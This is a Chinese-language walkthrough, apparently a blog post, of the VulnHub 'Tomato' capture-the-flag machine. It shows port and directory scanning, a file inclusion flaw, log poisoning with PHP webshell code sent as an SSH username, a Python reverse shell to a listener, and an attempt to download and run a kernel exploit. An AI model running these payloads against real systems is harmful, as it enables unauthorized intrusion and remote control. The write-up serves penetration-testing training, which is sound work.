vulnhub靶机:Tomato

目录

靶机导入

信息收集

[发现 IP](#发现 IP)

目录扫描

端口扫描

[访问 web](#访问 web)

漏洞利用

[方法1:报错连接拿 shell](#方法1:报错连接拿 shell)

[方法2: 使用python3进行反弹shell](#方法2: 使用python3进行反弹shell)

提权


靶机导入

tomato 下载地址:Tomato: 1 ~ VulnHub

信息收集

发现 IP

bash 复制代码
arp-scan -l

发现靶机 IP 是 192.168.109.148

攻击机 kali 的 IP 是 192.168.109.139

目录扫描

dirb http://192.168.109.148/

端口扫描

nmap -sC -sV -O 192.168.109.148

发现开放了 21、80、8888 端口

访问 web

访问扫目录扫出来的 antibot _image目录

http://192.168.109.148/antibot_image/

右击查看info.php的网页源码,发现存在文件包含漏洞

漏洞利用

在URL后面拼接?image=/etc/passwd (用image参数传入想要获取的文件路径)

?image=/etc/passwd

成功显示,说明存在文件包含漏洞

发现端口没有全部扫描出来,重新扫一下

-A:这个选项启用了"侵略性扫描",包括操作系统检测、版本检测、脚本扫描和跟踪路由等功能。侵略性扫描通常会提供更多的信息,但也可能引起目标系统的注意。

-p-:这个选项告诉 nmap 扫描目标系统上的所有可能的端口。扫描所有端口可能会耗费一定的时间,但可以全面了解目标系统上开放的哪些端口,以及哪些端口可能存在漏洞。

nmap -p- -A 192.168.109.148

扫描出来2211,是ssh的连接端口

方法1:报错连接拿 shell

kali 2024 版本的会报错,2023 版本的可以

我这里由于 kali 的版本不能使用此方法,就拿 centos7 操作了

ssh '<?php @eval($_POST[1]);?>'@192.168.109.148 -p 2211

然后在网页端查看ubuntu报错信息:/var/log/auth.log,/var/log/auth.log 记录了所有和用户认证相关的日志 。无论是我们通过 ssh 登录,还是通过 sudo 执行命令都会在 auth.log 中产生记录。

?image=/var/log/auth.log

该目录下发现多了一些报错信息,大概率写入木马成功

用蚁剑连接试试

?image=/var/log/auth.log

成功拿到整个网站的目录信息

方法2: 使用python3进行反弹shell

写入一句话木马:

ssh '<?php echo system($_GET["aaa"]); ?>'@192.168.109.148 -p 2211

尝试通过 SSH 连接到 IP 地址为 "192.168.109.148" 的主机,使用用户名 '<?php echo system($_GET["aaa"]); ?>',并指定端口号为 2211。

这个用户名包含了 PHP 代码,具体来说,它尝试通过 PHP system 函数执行传递给它的参数,而参数来自于 URL 查询字符串中的aaa 参数。这可能是一个恶意操作,用于尝试在远程主机上执行恶意命令或代码。

拼接下面命令访问成功,说明一句话木马写入成功

?image=/var/log/auth.log&aaa=id

在kali打开监听端口:nc -lnvp 4444

nc -lnvp 4444

使用python3进行反弹shell,在浏览器中拼接下面命令进行访问

?image=/var/log/auth.log&aaa=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.109.133",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

kali监听到操作,成功获得靶机shell

使用下面命令生成可交互式的shell

python3 -c "import pty;pty.spawn('/bin/bash')"

提权

查看系统内核版本:

uname -a  

发现系统内核是:Linux ubuntu 4.4.0-21-generic

在kali中查找该系统内核的提权包:

searchsploit ubuntu 4.4.0-21  

尝试发现可以使用45010,下载该包

searchsploit -p 45010
cp /usr/share/exploitdb/exploits/linux/local/45010.c 45010.c
ls

此文件是.c文件,需要编译才能运行,最好是在目标服务器上进行编译并运行,但目标靶机没有gcc环境,意味着没办法进行编译,在这里选择在kali上编译完成后,再在靶机上运行程序

gcc 45010.c -o exp
ls

开启http服务

python3 -m http.server 80  

到tmp目录下下载提权poc

cd /tmp
wget http://192.168.109.139/exp
ls
chmod +x exp

执行exp文件,如果执行成功则提权成功

./exp

但我这里失败了,报错提示运行的程序 ./exp 需要 GLIBC_2.34 版本的支持,但当前系统中的 glibc 版本低于 2.34 。

查看靶机的版本发现是 2.23

ldd --version

所以用此方法提权啊因为靶机的原因无法实施,就只能止步于此了

相关推荐
黑客Ash2 小时前
【D01】网络安全概论
网络·安全·web安全·php
阿龟在奔跑3 小时前
引用类型的局部变量线程安全问题分析——以多线程对方法局部变量List类型对象实例的add、remove操作为例
java·jvm·安全·list
.Ayang4 小时前
SSRF漏洞利用
网络·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
.Ayang4 小时前
SSRF 漏洞全解析(概述、攻击流程、危害、挖掘与相关函数)
安全·web安全·网络安全·系统安全·网络攻击模型·安全威胁分析·安全架构
好想打kuo碎4 小时前
1、HCIP之RSTP协议与STP相关安全配置
网络·安全
网络安全-老纪4 小时前
iOS应用网络安全之HTTPS
web安全·ios·https
周全全4 小时前
Spring Boot + Vue 基于 RSA 的用户身份认证加密机制实现
java·vue.js·spring boot·安全·php
Mr.Pascal5 小时前
刚学php序列化/反序列化遇到的坑(攻防世界:Web_php_unserialize)
开发语言·安全·web安全·php
风间琉璃""6 小时前
二进制与网络安全的关系
安全·机器学习·网络安全·逆向·二进制